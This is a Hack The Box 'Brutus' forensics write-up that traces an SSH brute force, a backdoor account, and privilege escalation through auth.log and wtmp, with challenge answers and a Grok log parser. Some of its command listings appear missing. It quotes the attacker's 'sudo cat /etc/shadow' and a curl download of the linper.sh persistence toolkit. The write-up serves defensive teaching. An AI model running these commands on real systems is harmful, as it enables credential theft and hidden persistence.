Brutus - HTB Sherlock Writeup (DFIR / Log Analysis)

Challenge Description
A Confluence server was brute-forced via its SSH service. After gaining access, the attacker performed additional activities including privilege escalation, persistence (creating a new user), and downloading tools.Difficulty: Very Easy
Category: DFIR / Log Analysis
Evidence Files:
auth.log, wtmp
Initial Analysis Methodology
Before diving into the challenge questions, the goal is to understand what happened using only the evidence. This section walks through a repeatable approach you can apply to any unknown log set - the same steps, in the same order, every time. We have two artifacts from a Linux server. We don’t know yet who attacked it, how they got in, or what they did after. The methodology below will answer all three.Step 1 - Understand the Artifacts: What are we working with?
Before running any commands, it helps to know what each file actually is. auth.log is a structured plaintext log. Every line follows this format:sshd, sudo, useradd, usermod, groupadd, passwd, chfn,
systemd-logind, CRON.
wtmp is a binary file. You cannot cat it. Use these tools:
TZ=UTC when doing forensic analysis to
keep your timeline consistent across artifacts.
Note: Iflast -f wtmpgives a SQLite error on newer Kali versions, this is because newer systemd versions use a database format. The file you’re analyzing is the older binary format. Useutmpdumporwho -aas alternatives.
Step 2 - Survey the Log: What services are recorded?
Before looking for anything specific, get a picture of what types of events are present. This prevents tunnel vision and surfaces activity you might not have expected.awk '{print $5}' extracts the service name and PID field (e.g.,
sshd[1234]:), then sed strips the brackets and PID leaving just the service name, and
sort | uniq -c | sort -n counts occurrences sorted numerically.
You’ll see services like sshd, sudo, CRON, useradd, usermod, groupadd, passwd,
chfn, systemd-logind. The presence of useradd and usermod immediately tells you that user
account manipulation happened during this time window, worth investigating once we understand the
entry point.
Step 3 - Check Login Sessions: Who logged in and from where?
With a picture of what services are present, the next step is to get a high-level view of login sessions. wtmp gives this to us instantly:Step 4 - Identify the Attack: Look for brute-force patterns
Now look at authentication events in auth.log. The key signal for a brute-force is a high volume of failed authentication attempts from a single IP in a short time window.Step 5 - Trace Post-Exploitation: What did the attacker do after getting in?
Once you have identified the attacker’s IP and the compromised account, trace the events that follow. In auth.log,sudo, useradd, usermod, and passwd entries after a successful login
from the attacker’s IP are all post-exploitation activity.
Methodology Summary
Every time you approach an unknown log set, follow this sequence:- Understand the artifacts: know what each file is, its format, and its limitations before running any commands
- Survey the log: identify which services appear to get a complete picture of recorded activity before focusing on anything specific
- Check login sessions: use wtmp for a high-level view of who logged in, from where, and for how long
- Identify the attack: look for statistical anomalies like IP addresses with disproportionate failed login counts
- Trace post-exploitation: follow the attacker’s session chronologically through
useradd,sudo,usermod, and other privilege or persistence events - Cross-reference timestamps: align auth.log and wtmp events to build a unified timeline and confirm which actions belong to which session
Attack Timeline
| Time (UTC) | Event | Source |
|---|---|---|
06:31:31 | Brute force begins from 65.2.161.68 | auth.log |
06:31:40 | First successful root login (automated, immediate disconnect) | auth.log |
06:32:44 | Second successful root login (manual, session persists) | auth.log |
06:32:45 | Interactive terminal session established | wtmp |
06:34:18 | New user cyberjunkie created (UID 1002) | auth.log |
06:34:26 | Password set for cyberjunkie | auth.log |
06:35:15 | cyberjunkie added to sudo group | auth.log |
06:37:24 | Root session 37 closed | auth.log |
06:37:34 | cyberjunkie logs in | auth.log |
06:37:57 | cyberjunkie runs sudo cat /etc/shadow | auth.log |
06:39:38 | cyberjunkie downloads linper.sh via sudo curl | auth.log |
Questions and Answers
Q1: What is the IP address used by the attacker to carry out a brute force attack?
Artifacts:auth.logMethod: Look for repeated “Failed password” and “Invalid user” entries from a single IP in rapid succession.
Answer: 65.2.161.68
Q2: The brute force was successful. What is the username of the compromised account?
Artifacts:auth.logMethod: Search for successful logins from the attacker’s IP.
root account. Notice that the session
closes in the same second; this is the brute-force tool confirming the credentials, not a manual
login. When you see an accepted password followed by an immediate disconnect, that’s a strong
indicator of automated tooling (e.g., Hydra, Medusa).
Answer: root
Q3: Identify the UTC timestamp when the attacker manually logged in (from wtmp).
Artifacts:wtmpMethod: The question specifically asks for the wtmp timestamp, not auth.log. There is an important distinction:
- auth.log records when the password was accepted (authentication event)
- wtmp records when the interactive terminal session was created (login event)
06:32:44 in auth.log, but the
terminal session was established at 06:32:45 in wtmp.
65.2.161.68 (where the session lasts several minutes, unlike the instant
brute-force disconnect) is the manual login.
Answer: 2024-03-06 06:32:45
Q4: What is the attacker’s SSH session number?
Artifacts:auth.logMethod: Session numbers are assigned by
systemd-logind. Look at the log line immediately after
the session is opened.
06:32:44/45):
Answer: 37
Q5: What new user account did the attacker create for persistence?
Artifacts:auth.logMethod: Search for user creation events.
cyberjunkie was created. Then check for privilege escalation:
cyberjunkie to the sudo group, granting full administrative privileges. This
is a classic persistence technique: create a new account with elevated privileges so you can return
later without needing to brute-force again.
Answer: cyberjunkie
Q6: What is the MITRE ATT&CK sub-technique ID for persistence via new account creation?
Artifacts: N/A (MITRE ATT&CK reference) The MITRE ATT&CK framework categorizes this under:- Tactic: Persistence
- Technique: Create Account (T1136)
- Sub-technique: Local Account (T1136.001)
.001.
Answer: T1136.001
Q7: What time did the attacker’s first SSH session end?
Artifacts:auth.logMethod: Look for when session 37 was closed.
Answer: 2024-03-06 06:37:24
Q8: What full command did the attacker execute using sudo from their backdoor account?
Artifacts:auth.logMethod: Although auth.log doesn’t normally track commands,
sudo commands are logged because
they require privilege elevation.
cat /etc/shadow to dump password hashes.
Second, a curl download of a persistence toolkit. The full command:
linper.sh is a Linux persistence toolkit, a bash script that automates various persistence
techniques on compromised hosts.
Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Beyond Root: Parsing auth.log with Grok
This section covers parsing the entire log into structured JSON using Grok patterns, the same approach used by SIEMs like Elastic and Splunk to process unstructured logs at scale.Why Grok?
The problem with auth.log is that it’s unstructured. Different log messages have different formats, makingawk field positions inconsistent:
%{IP:source_ip} matches an IP address into a field called source_ip, and
%{WORD:username} matches a single word into username.
Tools
Grok Debugger (https://grokdebugger.com/): paste a log line, write your pattern, and see matched fields in real-time. Always iterate here before writing any code. go-grok (https://github.com/elastic/go-grok): a Go library by Elastic for parsing text with Grok patterns, with built-in pattern definitions matching what Logstash uses.Building the Parser
Initialize the Go project:SYSLOGBASE2
pattern handles most of this; note that WORD won’t work for the program field because some
programs contain dashes (e.g., systemd-logind), so use DATA instead:
jq for flexible queries:
Why This Matters for Defenders
This Grok-based approach is how logs are processed at scale in real SOC environments:- Raw logs come in from servers (auth.log, syslog, application logs)
- Grok rules parse them into structured fields
- Logstash/Fluentd ingests the structured data into Elasticsearch or Splunk
- Analysts query using KQL, Lucene, or SPL instead of grep/awk
Skills Learned
- Unix log analysis (
auth.logandwtmp) - Brute-force detection patterns in SSH logs
- Distinguishing automated vs manual logins from session duration
- Tracking privilege escalation and persistence in auth.log
- Timeline creation across multiple artifacts
- MITRE ATT&CK framework mapping
- Grok pattern creation for structured log parsing
- Using go-grok (Elastic) for programmatic log analysis
- Piping JSON output through
jqfor flexible querying